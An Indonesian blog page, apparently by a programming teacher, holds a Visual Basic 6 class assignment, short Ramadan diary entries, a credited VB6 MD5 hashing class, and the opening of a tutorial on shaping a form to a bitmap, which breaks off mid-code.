bagi absen no 3, 5, 7, 12, 13, 18, 19, 24, 36 Tugas membuat Menubar seperti windows explorer belum aku terima di email hack.chin@gmail.com, untuk untuk saya tunggu tugas anda di email.
Untuk tugas hari ini anda buat suatu project dengan tampilan seperti di bawah ini:



untuk keterangannya pernomor
1. Gunakan Label dengan caption seperti gambar
2. Gunakan label dengan name lblAngka1
3. Gunakan label dengan name lblAngka2
4. Gunakan textbox dengan name txtHasil
5. Gunakan CommandButton dengan name cmdHasil
6. Gunakan CommandButton dengan name cmdKeluar
7. Gunakan Frame dengan caption Operasi
8. Gunakan OptionButton dengan name optJumlah
9. Gunakan OptionButton dengan name optKurang
10.Gunakan OptionButton dengan name optkali
11.Gunakan OptionButton dengan name optBagi

dari angka 1 - 11 silahkan gunakan caption sesuai dengan gambar.

Sekarang anda gunakan logika anda untuk membuat source codenya agar program itu berjalan dengan mengacak angka di lblAngka1 dan lblAngka2, kemudian user/pemakai menjawab sesuai dengan Operasi Matematikanya. Angka di buat random dibawah angka 100.
Gunakan messagebox untuk memberikan peringatan betul atau salahnya.

aku sertakan hasil dari exe yang telah saya buat.
Silahkan download di sini


tugas aku tunggu sampai nanti siang jam 1 udah harus terkirim. ke email saya hack.chin@gmail.com

karena udah lebih jam 1 ni aku upload source codenya silahkan aja di donlot
klik disini

Tutorial Membuat Setup dengan InnoSetup versi 5

disela2 masalah ku ini aku chat dengan teman dunia maya dianya minta dibuatkan tutorial membuat file setup dengan menggunakan Innosetup, langsung aja aku buatkan eh ternyata mdah, ni aku masukkan file tutorialnya....
silahkan anda klik disini




Ramadhan ke-13 dan satu Masalah Selesai

Mungkin saya mengucapkan terima kasih kepada yang mendoakan saya sehingga masalah -saya dikit demi dikit terselesaikan. pada ramadhan ke-13 ini masalah aku dapat terselesaikan 1. tapi ni yang paling berat. semoga aja masalahku dapat selesai dikit-dikit. Doa kan aja......




Ramadhan ke-10 dan Buanyaknya Cobaan

Pada ramadhan ke-10 buanyak sekali cobaan yang aku hadapi, dari tidak bisa ol setiap hari, dan pada ramadhan ke-10 itu aku punya permasalahan ama nyonya tapi aku ga tahu tu permasalahan siapa yang salah. di hari ini juga aku jadi buanyak pikiran sehingga untuk sementara dan dalam batas waktu yang tidak di tentukan aku mungkin ga buanyak aktif dikomputer atau di didalam dunia maya untuk berkonsentrasi menyelesaikan permasalahan ku yang mungkin akan berpengaruh ke pada masa depanku. dan aku meminta maaf kepada teman-teman yang selama ini sering berkomunikasi dan kontak aku melalui YM dan sekarang sulit sekali menghubungi aku.
Tapi ini hanya untuk sementara aja, sampai permasalahan yang aku hadapi udah bisa di atasi atau ada solusinya.
Bagi teman-teman yang ingin konsultasi atau meminta suatu source code bisa mengirimkan email aja ke aku, Insya Allah kalau aku bisa dan tidak pusing maka akan dibalas email kamu semua.

dan akhir kata saya meminta maaf sekali.........., Doakan aja ya semoga permasalahanku dapat segera diatasi shingga aku bisa aktif lagi di dunia maya lagi.




Ramadhan ke-5 dan source code MD5

Udah 5 hari telah kita lalui untuk menjalan ibadah puasa. pada hari ini saya akan memberikan atau menjelaskan source code mengenai encrypt suatu kata dengan metode MD5 yang sering di pakai pada mysql dan PHP. Ini source code saya ambil dari www.pscode.com dan dibuat oleh Alper ESKIKILIC (www.odesayazilim.com), udah siap? silahkan ada buat project dengan 1 form dan 1 ClassModule.
Ikuti langkah selanjutnya:

Kopikan source code berikut di form

'Dim Alper ESKIKILIC As A programmer
'Public Sub As Md5 Maker Code
'Please Vote My Cote
'www.odesayazilim.com

Option Explicit
Dim Odesa As String
Dim Alpermd5 As String
Dim oMD5 As CMD5



Private Sub Form_Resize()
'If we minimize the window, activate the timer
If Me.WindowState = vbMinimized Then
OdesaCast.Enabled = True
Else
'Otherwise don't animate the icon.
OdesaCast.Enabled = False
Exit Sub
End If
End Sub




Private Sub btnConvertir_Click()
'*******
Set oMD5 = New CMD5
Odesa = txAMixmd5.Text
Alpermd5 = oMD5.MD5(Odesa)
txTextoMd5.Text = Alpermd5
End Sub

Private Sub btnExit_Click()
Unload Me
End Sub

Private Sub Button1_Click()
Form2.Show

End Sub

Private Sub Form_Load()

txAMixmd5.Text = ""
txTextoMd5.Text = ""

End Sub

Private Sub OdesaCast_Timer()
Static ilmage As Integer
ilmage = ilmage + 1
'If you're adding more images, make sure to change
'the number accordingly... (here in this example
'there are two images.)
If ilmage > 2 Then ilmage = 1
Me.Icon = Odesalist.ListImages(ilmage).Picture
End Sub



Kemudian ni source code untuk ClassModule

'*******************************************************************************
' DESCRIPTION:
' Derived from the RSA Data Security, Inc. MD5 Message-Digest Algorithm,
' as set out in the memo RFC1321.
'
' This class is used to generate an MD5 'digest' or 'signature' of a string. the
' MD5 algorithm is one of the industry standard methods for generating digital
' signatures. It is generically known as a digest, digital signature, one -way
' encryption, hash or checksum algorithm. A common use for MD5 is for password
' encryption as it is one-way in nature, that does not mean that your passwords
' are not free from a dictionary attack. If you are using the
' routine for passwords, you can make it a little more secure by concatenating
' some known random characters to the password before you generate the signature
' and on subsequent tests, so even if a hacker knows you are using MD5 for
' your passwords, the random characters will make it harder to dictionary attack.
'**********************************************************************************

Option Explicit

Private Const BITS_TO_A_BYTE As Long = 8
Private Const BYTES_TO_A_WORD As Long = 4
Private Const BITS_TO_A_WORD As Long = BYTES_TO_A_WORD * BITS_TO_A_BYTE

Private m_lOnBits(0 To 30) As Long
Private m_l2Power(0 To 30) As Long

'*******************************************************************************
' Class_Initialize (SUB)
'
' DESCRIPTION:
' We will usually get quicker results by preparing arrays of bit patterns and
' powers of 2 ahead of time instead of calculating them every time, unless of
' course the methods are only ever getting called once per instantiation of the
' class.
'*******************************************************************************
Private Sub Class_Initialize()
' Could have done this with a loop calculating each value, but simply
' assigning the values is quicker - BITS SET FROM RIGHT
m_lOnBits(0) = 1 ' 00000000000000000000000000000001
m_lOnBits(1) = 3 ' 00000000000000000000000000000011
m_lOnBits(2) = 7 ' 00000000000000000000000000000111
m_lOnBits(3) = 15 ' 00000000000000000000000000001111
m_lOnBits(4) = 31 ' 00000000000000000000000000011111
m_lOnBits(5) = 63 ' 00000000000000000000000000111111
m_lOnBits(6) = 127 ' 00000000000000000000000001111111
m_lOnBits(7) = 255 ' 00000000000000000000000011111111
m_lOnBits(8) = 511 ' 00000000000000000000000111111111
m_lOnBits(9) = 1023 ' 00000000000000000000001111111111
m_lOnBits(10) = 2047 ' 00000000000000000000011111111111
m_lOnBits(11) = 4095 ' 00000000000000000000111111111111
m_lOnBits(12) = 8191 ' 00000000000000000001111111111111
m_lOnBits(13) = 16383 ' 00000000000000000011111111111111
m_lOnBits(14) = 32767 ' 00000000000000000111111111111111
m_lOnBits(15) = 65535 ' 00000000000000001111111111111111
m_lOnBits(16) = 131071 ' 00000000000000011111111111111111
m_lOnBits(17) = 262143 ' 00000000000000111111111111111111
m_lOnBits(18) = 524287 ' 00000000000001111111111111111111
m_lOnBits(19) = 1048575 ' 00000000000011111111111111111111
m_lOnBits(20) = 2097151 ' 00000000000111111111111111111111
m_lOnBits(21) = 4194303 ' 00000000001111111111111111111111
m_lOnBits(22) = 8388607 ' 00000000011111111111111111111111
m_lOnBits(23) = 16777215 ' 00000000111111111111111111111111
m_lOnBits(24) = 33554431 ' 00000001111111111111111111111111
m_lOnBits(25) = 67108863 ' 00000011111111111111111111111111
m_lOnBits(26) = 134217727 ' 00000111111111111111111111111111
m_lOnBits(27) = 268435455 ' 00001111111111111111111111111111
m_lOnBits(28) = 536870911 ' 00011111111111111111111111111111
m_lOnBits(29) = 1073741823 ' 00111111111111111111111111111111
m_lOnBits(30) = 2147483647 ' 01111111111111111111111111111111

' Could have done this with a loop calculating each value, but simply
' assigning the values is quicker - POWERS OF 2
m_l2Power(0) = 1 ' 00000000000000000000000000000001
m_l2Power(1) = 2 ' 00000000000000000000000000000010
m_l2Power(2) = 4 ' 00000000000000000000000000000100
m_l2Power(3) = 8 ' 00000000000000000000000000001000
m_l2Power(4) = 16 ' 00000000000000000000000000010000
m_l2Power(5) = 32 ' 00000000000000000000000000100000
m_l2Power(6) = 64 ' 00000000000000000000000001000000
m_l2Power(7) = 128 ' 00000000000000000000000010000000
m_l2Power(8) = 256 ' 00000000000000000000000100000000
m_l2Power(9) = 512 ' 00000000000000000000001000000000
m_l2Power(10) = 1024 ' 00000000000000000000010000000000
m_l2Power(11) = 2048 ' 00000000000000000000100000000000
m_l2Power(12) = 4096 ' 00000000000000000001000000000000
m_l2Power(13) = 8192 ' 00000000000000000010000000000000
m_l2Power(14) = 16384 ' 00000000000000000100000000000000
m_l2Power(15) = 32768 ' 00000000000000001000000000000000
m_l2Power(16) = 65536 ' 00000000000000010000000000000000
m_l2Power(17) = 131072 ' 00000000000000100000000000000000
m_l2Power(18) = 262144 ' 00000000000001000000000000000000
m_l2Power(19) = 524288 ' 00000000000010000000000000000000
m_l2Power(20) = 1048576 ' 00000000000100000000000000000000
m_l2Power(21) = 2097152 ' 00000000001000000000000000000000
m_l2Power(22) = 4194304 ' 00000000010000000000000000000000
m_l2Power(23) = 8388608 ' 00000000100000000000000000000000
m_l2Power(24) = 16777216 ' 00000001000000000000000000000000
m_l2Power(25) = 33554432 ' 00000010000000000000000000000000
m_l2Power(26) = 67108864 ' 00000100000000000000000000000000
m_l2Power(27) = 134217728 ' 00001000000000000000000000000000
m_l2Power(28) = 268435456 ' 00010000000000000000000000000000
m_l2Power(29) = 536870912 ' 00100000000000000000000000000000
m_l2Power(30) = 1073741824 ' 01000000000000000000000000000000
End Sub

'*******************************************************************************
' LShift (FUNCTION)
'
' PARAMETERS:
' (In) - lValue - Long - The value to be shifted
' (In) - iShiftBits - Integer - The number of bits to shift the value by
'
' RETURN VALUE:
' Long - The shifted long integer
'
' DESCRIPTION:
' A left shift takes all the set binary bits and moves them left, in-filling
' with zeros in the vacated bits on the right. This function is equivalent to
' the << operator in Java and C++
'*******************************************************************************
Private Function LShift(ByVal lValue As Long, _
ByVal iShiftBits As Integer) As Long
' NOTE: If you can guarantee that the Shift parameter will be in the
' range 1 to 30 you can safely strip of this first nested if structure for
' speed.
'
' A shift of zero is no shift at all.
If iShiftBits = 0 Then
LShift = lValue
Exit Function

' A shift of 31 will result in the right most bit becoming the left most
' bit and all other bits being cleared
ElseIf iShiftBits = 31 Then
If lValue And 1 Then
LShift = &H80000000
Else
LShift = 0
End If
Exit Function

' A shift of less than zero or more than 31 is undefined
ElseIf iShiftBits < 0 Or iShiftBits > 31 Then
Err.Raise 6
End If

' If the left most bit that remains will end up in the negative bit
' position (&H80000000) we would end up with an overflow if we took the
' standard route. We need to strip the left most bit and add it back
' afterwards.
If (lValue And m_l2Power(31 - iShiftBits)) Then

' (Value And OnBits(31 - (Shift + 1))) chops off the left most bits that
' we are shifting into, but also the left most bit we still want as This
' is going to end up in the negative bit marker position (&H80000000).
' After the multiplication/shift we Or the result with &H80000000 to
' turn the negative bit on.
LShift = ((lValue And m_lOnBits(31 - (iShiftBits + 1))) * _
m_l2Power(iShiftBits)) Or &H80000000

Else

' (Value And OnBits(31-Shift)) chops off the left most bits that we are
' shifting into so we do not get an overflow error when we do the
' multiplication/shift
LShift = ((lValue And m_lOnBits(31 - iShiftBits)) * _
m_l2Power(iShiftBits))

End If
End Function

'*******************************************************************************
' RShift (FUNCTION)
'
' PARAMETERS:
' (In) - lValue - Long - The value to be shifted
' (In) - iShiftBits - Integer - The number of bits to shift the value by
'
' RETURN VALUE:
' Long - The shifted long integer
'
' DESCRIPTION:
' The right shift of an unsigned long integer involves shifting all the set bits
' to the right and in-filling on the left with zeros. This function is
' equivalent to the >>> operator in Java or the >> operator in C++ when used on
' an unsigned long.
'*******************************************************************************
Private Function RShift(ByVal lValue As Long, _
ByVal iShiftBits As Integer) As Long

' NOTE: If you can guarantee that the Shift parameter will be in the
' range 1 to 30 you can safely strip of this first nested if structure for
' speed.
'
' A shift of zero is no shift at all
If iShiftBits = 0 Then
RShift = lValue
Exit Function

' A shift of 31 will clear all bits and move the left most bit to the Right
' most bit position
ElseIf iShiftBits = 31 Then
If lValue And &H80000000 Then
RShift = 1
Else
RShift = 0
End If
Exit Function

' A shift of less than zero or more than 31 is undefined
ElseIf iShiftBits < 0 Or iShiftBits > 31 Then
Err.Raise 6
End If

' We do not care about the top most bit or the final bit, the top most Bit
' will be taken into account in the next stage, the final bit (whether it
' is an odd number or not) is being shifted into, so we do not give a jot
' about it
RShift = (lValue And &H7FFFFFFE) \ m_l2Power(iShiftBits)

' If the top most bit (&H80000000) was set we need to do things differently
' as in a normal VB signed long integer the top most bit is used to indicate
' the sign of the number, when it is set it is a negative number, so just
' deviding by a factor of 2 as above would not work.
' NOTE: (lValue And &H80000000) is equivalent to (lValue < 0), you could
' get a very marginal speed improvement by changing the test to (lValue < 0)
If (lValue And &H80000000) Then
' We take the value computed so far, and then add the left most negative
' bit after it has been shifted to the right the appropriate number of
' places
RShift = (RShift Or (&H40000000 \ m_l2Power(iShiftBits - 1)))
End If
End Function

'*******************************************************************************
' RShiftSigned (FUNCTION)
'
' PARAMETERS:
' (In) - lValue - Long -
' (In) - iShiftBits - Integer -
'
' RETURN VALUE:
' Long -
'
' DESCRIPTION:
' The right shift of a signed long integer involves shifting all the set bits to
' the right and in-filling on the left with the sign bit (0 if positive, 1 if
' negative. This function is equivalent to the >> operator in Java or the >>
' operator in C++ when used on a signed long integer. Not used in this class,
' but included for completeness.
'*******************************************************************************
Private Function RShiftSigned(ByVal lValue As Long, _
ByVal iShiftBits As Integer) As Long

' NOTE: If you can guarantee that the Shift parameter will be in the
' range 1 to 30 you can safely strip of this first nested if structure for
' speed.
'
' A shift of zero is no shift at all
If iShiftBits = 0 Then
RShiftSigned = lValue
Exit Function

' A shift of 31 will clear all bits if the left most bit was zero, and will
' set all bits if the left most bit was 1 (a negative indicator)
ElseIf iShiftBits = 31 Then

' NOTE: (lValue And &H80000000) is equivalent to (lValue < 0), you
' could get a very marginal speed improvement by changing the test to
' (lValue < 0)
If (lValue And &H80000000) Then
RShiftSigned = -1
Else
RShiftSigned = 0
End If
Exit Function

' A shift of less than zero or more than 31 is undefined
ElseIf iShiftBits < 0 Or iShiftBits > 31 Then
Err.Raise 6
End If

' We get the same result by dividing by the appropriate power of 2 and
' rounding in the negative direction
RShiftSigned = Int(lValue / m_l2Power(iShiftBits))
End Function

'*******************************************************************************
' RotateLeft (FUNCTION)
'
' PARAMETERS:
' (In) - lValue - Long - Value to act on
' (In) - iShiftBits - Integer - Bits to move by
'
' RETURN VALUE:
' Long - Result
'
' DESCRIPTION:
' Rotates the bits in a long integer to the left, those bits falling off the
' left edge are put back on the right edge
'*******************************************************************************
Private Function RotateLeft(ByVal lValue As Long, _
ByVal iShiftBits As Integer) As Long
RotateLeft = LShift(lValue, iShiftBits) Or RShift(lValue, (32 - iShiftBits))
End Function

'*******************************************************************************
' AddUnsigned (FUNCTION)
'
' PARAMETERS:
' (In) - lX - Long - First value
' (In) - lY - Long - Second value
'
' RETURN VALUE:
' Long - Result
'
' DESCRIPTION:
' Adds two potentially large unsigned numbers without overflowing
'*******************************************************************************
Private Function AddUnsigned(ByVal lX As Long, _
ByVal lY As Long) As Long
Dim lX4 As Long
Dim lY4 As Long
Dim lX8 As Long
Dim lY8 As Long
Dim lResult As Long

lX8 = lX And &H80000000
lY8 = lY And &H80000000
lX4 = lX And &H40000000
lY4 = lY And &H40000000

lResult = (lX And &H3FFFFFFF) + (lY And &H3FFFFFFF)

If lX4 And lY4 Then
lResult = lResult Xor &H80000000 Xor lX8 Xor lY8
ElseIf lX4 Or lY4 Then
If lResult And &H40000000 Then
lResult = lResult Xor &HC0000000 Xor lX8 Xor lY8
Else
lResult = lResult Xor &H40000000 Xor lX8 Xor lY8
End If
Else
lResult = lResult Xor lX8 Xor lY8
End If

AddUnsigned = lResult
End Function

'*******************************************************************************
' F (FUNCTION)
'
' DESCRIPTION:
' MD5's F function
'*******************************************************************************
Private Function F(ByVal X As Long, _
ByVal Y As Long, _
ByVal z As Long) As Long
F = (X And Y) Or ((Not X) And z)
End Function

'*******************************************************************************
' G (FUNCTION)
'
' DESCRIPTION:
' MD5's G function
'*******************************************************************************
Private Function G(ByVal X As Long, _
ByVal Y As Long, _
ByVal z As Long) As Long
G = (X And z) Or (Y And (Not z))
End Function

'*******************************************************************************
' H (FUNCTION)
'
' DESCRIPTION:
' MD5's H function
'*******************************************************************************
Private Function H(ByVal X As Long, _
ByVal Y As Long, _
ByVal z As Long) As Long
H = (X Xor Y Xor z)
End Function

'*******************************************************************************
' I (FUNCTION)
'
' DESCRIPTION:
' MD5's I function
'*******************************************************************************
Private Function i(ByVal X As Long, _
ByVal Y As Long, _
ByVal z As Long) As Long
i = (Y Xor (X Or (Not z)))
End Function

'*******************************************************************************
' FF (SUB)
'
' DESCRIPTION:
' MD5's FF procedure
'*******************************************************************************
Private Sub FF(a As Long, _
ByVal B As Long, _
ByVal c As Long, _
ByVal d As Long, _
ByVal X As Long, _
ByVal S As Long, _
ByVal ac As Long)
a = AddUnsigned(a, AddUnsigned(AddUnsigned(F(B, c, d), X), ac))
a = RotateLeft(a, S)
a = AddUnsigned(a, B)
End Sub

'*******************************************************************************
' GG (SUB)
'
' DESCRIPTION:
' MD5's GG procedure
'*******************************************************************************
Private Sub GG(a As Long, _
ByVal B As Long, _
ByVal c As Long, _
ByVal d As Long, _
ByVal X As Long, _
ByVal S As Long, _
ByVal ac As Long)
a = AddUnsigned(a, AddUnsigned(AddUnsigned(G(B, c, d), X), ac))
a = RotateLeft(a, S)
a = AddUnsigned(a, B)
End Sub

'*******************************************************************************
' HH (SUB)
'
' DESCRIPTION:
' MD5's HH procedure
'*******************************************************************************
Private Sub HH(a As Long, _
ByVal B As Long, _
ByVal c As Long, _
ByVal d As Long, _
ByVal X As Long, _
ByVal S As Long, _
ByVal ac As Long)
a = AddUnsigned(a, AddUnsigned(AddUnsigned(H(B, c, d), X), ac))
a = RotateLeft(a, S)
a = AddUnsigned(a, B)
End Sub

'*******************************************************************************
' II (SUB)
'
' DESCRIPTION:
' MD5's II procedure
'*******************************************************************************
Private Sub II(a As Long, _
ByVal B As Long, _
ByVal c As Long, _
ByVal d As Long, _
ByVal X As Long, _
ByVal S As Long, _
ByVal ac As Long)
a = AddUnsigned(a, AddUnsigned(AddUnsigned(i(B, c, d), X), ac))
a = RotateLeft(a, S)
a = AddUnsigned(a, B)
End Sub

'*******************************************************************************
' ConvertToWordArray (FUNCTION)
'
' PARAMETERS:
' (In/Out) - sMessage - String - String message
'
' RETURN VALUE:
' Long() - Converted message as long array
'
' DESCRIPTION:
' Takes the string message and puts it in a long array with padding according to
' the MD5 rules.
'*******************************************************************************
Private Function ConvertToWordArray(sMessage As String) As Long()
Dim lMessageLength As Long
Dim lNumberOfWords As Long
Dim lWordArray() As Long
Dim lBytePosition As Long
Dim lByteCount As Long
Dim lWordCount As Long

Const MODULUS_BITS As Long = 512
Const CONGRUENT_BITS As Long = 448

lMessageLength = Len(sMessage)

' Get padded number of words. Message needs to be congruent to 448 bits,
' modulo 512 bits. If it is exactly congruent to 448 bits, modulo 512 bits
' it must still have another 512 bits added. 512 bits = 64 bytes
' (or 16 * 4 byte words), 448 bits = 56 bytes. This means lMessageSize must
' be a multiple of 16 (i.e. 16 * 4 (bytes) * 8 (bits))
lNumberOfWords = (((lMessageLength + _
((MODULUS_BITS - CONGRUENT_BITS) \ BITS_TO_A_BYTE)) \ _
(MODULUS_BITS \ BITS_TO_A_BYTE)) + 1) * _
(MODULUS_BITS \ BITS_TO_A_WORD)
ReDim lWordArray(lNumberOfWords - 1)

' Combine each block of 4 bytes (ascii code of character) into one long
' value and store in the message. The high-order (most significant) bit of
' each byte is listed first. However, the low-order (least significant) byte
' is given first in each word.
lBytePosition = 0
lByteCount = 0
Do Until lByteCount >= lMessageLength
' Each word is 4 bytes
lWordCount = lByteCount \ BYTES_TO_A_WORD

' The bytes are put in the word from the right most edge
lBytePosition = (lByteCount Mod BYTES_TO_A_WORD) * BITS_TO_A_BYTE
lWordArray(lWordCount) = lWordArray(lWordCount) Or _
LShift(AscB(Mid(sMessage, lByteCount + 1, 1)), lBytePosition)
lByteCount = lByteCount + 1
Loop

' Terminate according to MD5 rules with a 1 bit, zeros and the length in
' bits stored in the last two words
lWordCount = lByteCount \ BYTES_TO_A_WORD
lBytePosition = (lByteCount Mod BYTES_TO_A_WORD) * BITS_TO_A_BYTE

' Add a terminating 1 bit, all the rest of the bits to the end of the
' word array will default to zero
lWordArray(lWordCount) = lWordArray(lWordCount) Or _
LShift(&H80, lBytePosition)

' We put the length of the message in bits into the last two words, to get
' the length in bits we need to multiply by 8 (or left shift 3). This Left
' shifted value is put in the first word. Any bits shifted off the left edge
' need to be put in the second word, we can work out which bits by shifting
' right the length by 29 bits.
lWordArray(lNumberOfWords - 2) = LShift(lMessageLength, 3)
lWordArray(lNumberOfWords - 1) = RShift(lMessageLength, 29)

ConvertToWordArray = lWordArray
End Function

'*******************************************************************************
' WordToHex (FUNCTION)
'
' PARAMETERS:
' (In) - lValue - Long - Long value to convert
'
' RETURN VALUE:
' String - Hex value to return
'
' DESCRIPTION:
' Takes a long integer and due to the bytes reverse order it extracts the
' individual bytes and converts them to hex appending them for an overall Hex
' value
'*******************************************************************************
Private Function WordToHex(ByVal lValue As Long) As String
Dim lByte As Long
Dim lCount As Long

For lCount = 0 To 3
lByte = RShift(lValue, lCount * BITS_TO_A_BYTE) And _
m_lOnBits(BITS_TO_A_BYTE - 1)
WordToHex = WordToHex & Right("0" & Hex(lByte), 2)
Next
End Function

'*******************************************************************************
' MD5 (FUNCTION)
'
' PARAMETERS:
' (In/Out) - sMessage - String - String to be digested
'
' RETURN VALUE:
' String - The MD5 digest
'
' DESCRIPTION:
' This function takes a string message and generates an MD5 digest for it.
' sMessage can be up to the VB string length limit of 2^31 (approx. 2 billion)
' characters.
'
' NOTE: Due to the way in which the string is processed the routine assumes a
' single byte character set. VB passes unicode (2-byte) character strings, the
' ConvertToWordArray function uses on the first byte for each character. This
' has been done this way for ease of use, to make the routine truely portable
' you could accept a byte array instead, it would then be up to the calling
' routine to make sure that the byte array is generated from their string in
' a manner consistent with the string type.
'*******************************************************************************
Public Function MD5(sMessage As String) As String
Dim X() As Long
Dim k As Long
Dim AA As Long
Dim BB As Long
Dim CC As Long
Dim DD As Long
Dim a As Long
Dim B As Long
Dim c As Long
Dim d As Long

Const S11 As Long = 7
Const S12 As Long = 12
Const S13 As Long = 17
Const S14 As Long = 22
Const S21 As Long = 5
Const S22 As Long = 9
Const S23 As Long = 14
Const S24 As Long = 20
Const S31 As Long = 4
Const S32 As Long = 11
Const S33 As Long = 16
Const S34 As Long = 23
Const S41 As Long = 6
Const S42 As Long = 10
Const S43 As Long = 15
Const S44 As Long = 21

' Steps 1 and 2. Append padding bits and length and convert to words
X = ConvertToWordArray(sMessage)

' Step 3. Initialise
a = &H67452301
B = &HEFCDAB89
c = &H98BADCFE
d = &H10325476

' Step 4. Process the message in 16-word blocks
For k = 0 To UBound(X) Step 16
AA = a
BB = B
CC = c
DD = d

' The hex number on the end of each of the following procedure calls is
' an element from the 64 element table constructed with
' T(i) = Int(4294967296 * Abs(Sin(i))) where i is 1 to 64.
'
' However, for speed we don't want to calculate the value every time.
FF a, B, c, d, X(k + 0), S11, &HD76AA478
FF d, a, B, c, X(k + 1), S12, &HE8C7B756
FF c, d, a, B, X(k + 2), S13, &H242070DB
FF B, c, d, a, X(k + 3), S14, &HC1BDCEEE
FF a, B, c, d, X(k + 4), S11, &HF57C0FAF
FF d, a, B, c, X(k + 5), S12, &H4787C62A
FF c, d, a, B, X(k + 6), S13, &HA8304613
FF B, c, d, a, X(k + 7), S14, &HFD469501
FF a, B, c, d, X(k + 8), S11, &H698098D8
FF d, a, B, c, X(k + 9), S12, &H8B44F7AF
FF c, d, a, B, X(k + 10), S13, &HFFFF5BB1
FF B, c, d, a, X(k + 11), S14, &H895CD7BE
FF a, B, c, d, X(k + 12), S11, &H6B901122
FF d, a, B, c, X(k + 13), S12, &HFD987193
FF c, d, a, B, X(k + 14), S13, &HA679438E
FF B, c, d, a, X(k + 15), S14, &H49B40821

GG a, B, c, d, X(k + 1), S21, &HF61E2562
GG d, a, B, c, X(k + 6), S22, &HC040B340
GG c, d, a, B, X(k + 11), S23, &H265E5A51
GG B, c, d, a, X(k + 0), S24, &HE9B6C7AA
GG a, B, c, d, X(k + 5), S21, &HD62F105D
GG d, a, B, c, X(k + 10), S22, &H2441453
GG c, d, a, B, X(k + 15), S23, &HD8A1E681
GG B, c, d, a, X(k + 4), S24, &HE7D3FBC8
GG a, B, c, d, X(k + 9), S21, &H21E1CDE6
GG d, a, B, c, X(k + 14), S22, &HC33707D6
GG c, d, a, B, X(k + 3), S23, &HF4D50D87
GG B, c, d, a, X(k + 8), S24, &H455A14ED
GG a, B, c, d, X(k + 13), S21, &HA9E3E905
GG d, a, B, c, X(k + 2), S22, &HFCEFA3F8
GG c, d, a, B, X(k + 7), S23, &H676F02D9
GG B, c, d, a, X(k + 12), S24, &H8D2A4C8A

HH a, B, c, d, X(k + 5), S31, &HFFFA3942
HH d, a, B, c, X(k + 8), S32, &H8771F681
HH c, d, a, B, X(k + 11), S33, &H6D9D6122
HH B, c, d, a, X(k + 14), S34, &HFDE5380C
HH a, B, c, d, X(k + 1), S31, &HA4BEEA44
HH d, a, B, c, X(k + 4), S32, &H4BDECFA9
HH c, d, a, B, X(k + 7), S33, &HF6BB4B60
HH B, c, d, a, X(k + 10), S34, &HBEBFBC70
HH a, B, c, d, X(k + 13), S31, &H289B7EC6
HH d, a, B, c, X(k + 0), S32, &HEAA127FA
HH c, d, a, B, X(k + 3), S33, &HD4EF3085
HH B, c, d, a, X(k + 6), S34, &H4881D05
HH a, B, c, d, X(k + 9), S31, &HD9D4D039
HH d, a, B, c, X(k + 12), S32, &HE6DB99E5
HH c, d, a, B, X(k + 15), S33, &H1FA27CF8
HH B, c, d, a, X(k + 2), S34, &HC4AC5665

II a, B, c, d, X(k + 0), S41, &HF4292244
II d, a, B, c, X(k + 7), S42, &H432AFF97
II c, d, a, B, X(k + 14), S43, &HAB9423A7
II B, c, d, a, X(k + 5), S44, &HFC93A039
II a, B, c, d, X(k + 12), S41, &H655B59C3
II d, a, B, c, X(k + 3), S42, &H8F0CCC92
II c, d, a, B, X(k + 10), S43, &HFFEFF47D
II B, c, d, a, X(k + 1), S44, &H85845DD1
II a, B, c, d, X(k + 8), S41, &H6FA87E4F
II d, a, B, c, X(k + 15), S42, &HFE2CE6E0
II c, d, a, B, X(k + 6), S43, &HA3014314
II B, c, d, a, X(k + 13), S44, &H4E0811A1
II a, B, c, d, X(k + 4), S41, &HF7537E82
II d, a, B, c, X(k + 11), S42, &HBD3AF235
II c, d, a, B, X(k + 2), S43, &H2AD7D2BB
II B, c, d, a, X(k + 9), S44, &HEB86D391

a = AddUnsigned(a, AA)
B = AddUnsigned(B, BB)
c = AddUnsigned(c, CC)
d = AddUnsigned(d, DD)
Next

' Step 5. Output the 128 bit digest
MD5 = LCase(WordToHex(a) & WordToHex(B) & WordToHex(c) & WordToHex(d))
End Function


untuk classmodule diberi nama MD5

sekian dulu terima kasih atas kunjungannya. silahkan beri komentar.

Ramadhan ke-4 dan source code sesuai gambar

Alhamdulillah ni udah ramadhan ke-4, pada hari ke-4 ni aku akan memberikan source code dimana form akan mengikuti gambar yang telah kita tentukan, sehingga kita dapat membuat suatu form yang bagus tidak selalu berbentuk kotak akan tetapi bisa sesuai dengan gambar.
Sebagai persiapan anda buat gambar yang bagus ya kemudian disimpan dengan format BMP, mengapa? karena kalau format yang lain akan jelek hasilnya....
kalau udah jangan sediakan rokok, minum karena ni masih ramadhan, kalau buatnya malam ya siapkan aja hehhehhheee
udah persiapannya, buat project baru dengan 1 form, tambahkan picture
kemudian ketikkan kode berikut:


Private Declare Function GetPixel Lib "gdi32" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long) As Long
Private Declare Function SetWindowRgn Lib "user32" (ByVal hwnd As Long, ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long
Private Declare Function CreateRectRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Private Declare Function CombineRgn Lib "gdi32" (ByVal hDestRgn As Long, ByVal hSrcRgn1 As Long, ByVal hSrcRgn2 As Long, ByVal nCombineMode As Long) As Long
Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long
Const RGN_OR = 2
Dim TeksBerjalan As String

Private Function MakeRegion(picSkin As PictureBox) As Long
Dim X As Long, Y As Long, StartLineX As Long
Dim FullRegion As Long, LineRegion As Long
Dim TransparentColor As Long
Dim InFirstRegion As Boolean
Dim InLine As Boolean
Dim hdc As Long
Dim PicWidth As Long
Dim PicHeight As Long

hdc = picSkin.hdc
PicWidth = picSkin.ScaleWidth
PicHeight = picSkin.ScaleHeight

InFirstRegion = True: InLine = False
X = Y = StartLineX = 0
TransparentColor = GetPixel(hdc, 0, 0)

For Y = 0 To PicHeight - 1
For X = 0 To PicWidth - 1

If GetPixel(hdc, X, Y) = TransparentColor Or X = PicWidth Then
If InLine Then
InLine = False
LineRegion = CreateRectRgn(StartLineX, Y, X, Y + 1)

If InFirstRegion Then
FullRegion = LineRegion
InFirstRegion = False
Else
CombineRgn FullRegion, FullRegion, LineRegion, RGN_OR
DeleteObject LineRegion
End If
End If
Else
If Not InLine Then
InLine = True
StartLineX = X
End If
End If
Next
Next

MakeRegion = FullRegion
End Function



Private Sub Form_Load()
PictureAnimation(0).ScaleMode = vbPixels
PictureAnimation(0).AutoRedraw = True
PictureAnimation(0).AutoSize = True
